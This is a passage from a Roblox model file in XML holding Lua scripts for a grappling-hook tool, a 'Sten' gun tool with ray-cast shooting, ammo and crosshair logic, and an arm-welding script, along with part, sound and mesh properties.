&#9;&#9;BreakRope()
&#9;end
end

function onBoltHit(hit)
&#9;if bolt == nil or hit == nil or hit.Parent == nil or hit == rope or bolt.Name ~= &quot;Bolt&quot; or hit.Parent == Tool or hit.Parent == Tool.Parent or hit.Parent.Parent == Tool.Parent or hit.Parent.Name == &quot;Attached Bolt&quot; then 
&#9;&#9;return 
&#9;end
&#9;local grappleVector = (torso.Position - bolt.Position)
&#9;StartDistance = grappleVector.magnitude
&#9;if StartDistance &gt; maxDistance then 
&#9;&#9;bolt.Parent = nil 
&#9;&#9;bolt = nil 
&#9;&#9;return 
&#9;end
&#9;
&#9;bolt.Name = &quot;Attached Bolt&quot;
&#9;local boltFrame = CFrame.new(hit.Position)

&#9;local C0 = hit.CFrame:inverse() * boltFrame
&#9;local C1 = bolt.CFrame:inverse() * boltFrame
&#9;local weld = Instance.new(&quot;Weld&quot;)
&#9;weld.Part0 = hit
&#9;weld.Part1 = bolt
&#9;weld.C0 = C0
&#9;weld.C1 = C1
&#9;weld.Parent = bolt

&#9;local hum = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;if hum then 
&#9;&#9;&#9;hum:TakeDamage(20)
&#9;&#9;&#9;hum.Sit = true
&#9;&#9;end

&#9;local backupbolt = bolt


&#9;ObjectBodyVelocity = Instance.new(&quot;BodyVelocity&quot;)
&#9;ObjectBodyVelocity.maxForce = Vector3.new(10000,10000,10000)
&#9;ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed
&#9;ObjectBodyVelocity.Parent = bolt
&#9;
&#9;wait(0.4)
&#9;if bolt == nil or bolt ~= backupbolt then return end

&#9;targetPos = bolt.Position
&#9;backupPos = bolt.Position

&#9;--bodyPos.position = targetPos
&#9;--bodyPos.Parent = torso
&#9;PlayerBodyVelocity.Parent = torso
&#9;PlayerBodyVelocity.velocity = Vector3.new(0,0,0)
&#9;bodyGyro.cframe = torso.CFrame
&#9;bodyGyro.Parent = torso

&#9;while bolt ~= nil do
&#9;&#9;--bodyPos.position = bolt.Position
&#9;&#9;updateVelocities()
&#9;&#9;wait(1/30)
&#9;end
end

enabled = true
local canReset = true

function onButton1Down(mouse)

&#9;if bolt and canReset then 
&#9;&#9;BreakRope()
&#9;end
&#9;if not enabled then 
&#9;&#9;return 
&#9;end

&#9;if bolt ~= nil and not canFireWhileGrappling then return end
&#9;if bolt ~= nil then
&#9;&#9;if boltconnect ~= nil then
&#9;&#9;&#9;print(&quot;Disconnecting&quot;)
&#9;&#9;&#9;boltconnect:disconnect()
&#9;&#9;end
&#9;&#9;bolt:remove()
&#9;&#9;targetPos = Vector3.new(0,0,0)
&#9;end

&#9;Tool.Handle.FireSound:play()
&#9;script.Parent.Parent.Torso.Anchored = true

&#9;enabled = false

&#9;mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

&#9;--bolt = game:GetService(&quot;InsertService&quot;):LoadAsset(33393977)

&#9;bolt = Tool.Handle:Clone()
&#9;bolt.Name = &quot;Bolt&quot;
&#9;bolt.Size = Vector3.new(1,.4,1)
&#9;bolt.Locked = false
&#9;bolt.Mesh.MeshId = &quot;http://www.roblox.com/asset/?id=89989174&quot;

&#9;--local instances = bolt:GetChildren()
&#9;--if #instances == 0 then
&#9;--&#9;bolt:Remove()
&#9;--&#9;return
&#9;--end
&#9;
&#9;--bolt = bolt:FindFirstChild(&quot;Bolt&quot;)
&#9;--local boltMesh = bolt:FindFirstChild(&quot;Mesh&quot;)

&#9;bolt.CFrame = CFrame.new(Tool.Handle.Position + (mouse.Hit.p - Tool.Handle.Position).unit * 5,mouse.Hit.p) --* CFrame.fromEulerAnglesXYZ(0,math.pi,0)
&#9;bolt.Transparency = 0
&#9;bolt.CanCollide = false
&#9;bolt.Velocity = bolt.CFrame.lookVector * 80
&#9;if bolt:findFirstChild(&quot;BodyPosition&quot;) ~= nil then
&#9;&#9;bolt.BodyPosition:remove()
&#9;end
&#9;local force = Instance.new(&quot;BodyForce&quot;)
&#9;force.force = Vector3.new(0,bolt:GetMass() * 196.1,0)
&#9;force.Parent = bolt
&#9;bolt.Parent = workspace
&#9;boltconnect = bolt.AncestryChanged:connect(function() onKeyDown(&quot;q&quot;) end)
&#9;bolt.Touched:connect(onBoltHit)

&#9;rope.Parent = Tool

&#9;bolt.Parent = game.Workspace

&#9;Tool.Handle.Mesh.MeshId = &quot;http://www.roblox.com/asset/?id=89988787&quot;
&#9;canReset = false
&#9;wait(.5)
&#9;canReset = true
&#9;wait(1)

&#9;mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;

&#9;enabled = true
end

function onKeyDown(key)
&#9;key = key:lower()
&#9;if key == &quot;q&quot; then
&#9;&#9;BreakRope()
&#9;end
end

function getHumanoid(obj)
&#9;for i,child in pairs(obj:getChildren()) do
&#9;&#9;if child.className == &quot;Humanoid&quot; then
&#9;&#9;&#9;return child
&#9;&#9;end
&#9;end
end

function onEquippedLocal(mouse)
&#9;if mouse == nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end

&#9;torso = Tool.Parent:findFirstChild(&quot;Torso&quot;)
&#9;human = Tool.Parent:FindFirstChild(&quot;Humanoid&quot;)--getHumanoid(Tool.Parent)
&#9;if torso == nil or human == nil then return end
&#9;human.Jumping:connect(function() onKeyDown(&quot;q&quot;) end)

&#9;mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function() onButton1Down(mouse) end)
&#9;mouse.KeyDown:connect(onKeyDown)
end


Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(function() onKeyDown(&quot;q&quot;) end)

while true do
&#9;adjustRope()
&#9;wait(1/60)
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5535">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>-0.349999994</Y>
					<Z>-0.200000003</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">Sten</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080129</url></Content>
				<string name="ToolTip">Sten</string>
			</Properties>
			<Item class="Part" referent="RBX5536">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-15.9000006</X>
						<Y>-68.6000061</Y>
						<Z>34.1000023</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>0.930003285</Y>
						<Z>3.75999236</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5537">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=95388062</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.600000024</X>
							<Y>0.600000024</Y>
							<Z>0.600000024</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5538">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.33000004</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5539">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309699</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5540">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5541">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5542">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5543">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5544">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Sten</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 18
-- How many times per second the gun can fire
local FireRate = 1 / 10
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 400
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.01
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5545">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

